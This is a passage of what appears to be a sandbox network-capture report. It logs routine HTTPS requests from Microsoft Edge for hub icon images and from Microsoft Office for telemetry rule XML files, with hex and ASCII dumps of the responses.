2024-10-28 17:43:36 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	63558	13.107.246.57	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:34 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 17:43:35 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:34 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: d414cbbc-701e-0005-7e90-289c78000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241028T174334Z-16849878b78qfbkc5yywmsbg0c000000052g000000006c0b Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:35 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	63564	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:34 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:35 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 105e2e40-101e-0079-0b1a-285913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174335Z-r197bdfb6b4g24ztpxkw4umce800000007100000000002w8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:35 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	63563	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:34 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:35 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 055e892c-801e-0035-14c8-27752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174335Z-r197bdfb6b4grkz4xgvkar0zcs00000004y0000000006y06 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:35 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	63560	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:35 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:35 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6cbbe1db-401e-0083-6516-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174335Z-16849878b78qfbkc5yywmsbg0c0000000530000000004pbu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:35 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	63562	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:35 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:35 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:35 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 151676fb-b01e-0084-4068-28d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174335Z-15b8d89586fxdh48qknu9dqk2g000000099000000000aqty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:35 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	63561	13.107.246.51	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:35 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 17:43:35 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:35 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: a342e9ea-d01e-0066-419c-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T174335Z-16849878b78zqkvcwgr6h55x9n00000004x0000000000tzr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:35 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	63566	13.107.246.57	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:35 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 17:43:35 UTC	543	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:35 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: f701e7ff-101e-0051-2bd5-2876f2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241028T174335Z-17c5cb586f6sqz6fff89etrx0800000005100000000056xu Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:35 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	63565	13.107.246.57	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:35 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 17:43:35 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:35 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 264256e4-001e-000a-7190-28718e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241028T174335Z-17c5cb586f6f8m6jnehy0z65x400000004p00000000056h4 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 17:43:35 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	63569	13.107.246.57	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:35 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 17:43:35 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:35 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 5984f239-a01e-0048-0690-285a9a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241028T174335Z-16849878b78q9m8bqvwuva4svc00000003s000000000v0z8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:35 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	63568	13.107.246.57	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:35 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 17:43:35 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:35 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 479a53aa-f01e-001f-392b-29b317000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241028T174335Z-16849878b78tg5n42kspfr0x4800000005b000000000dv6y Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 17:43:35 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	63567	13.107.246.57	443	7940	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 17:43:35 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 17:43:35 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:35 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 192575bd-001e-0045-303d-29b596000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241028T174335Z-16849878b78x6gn56mgecg60qc0000000770000000005nec Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
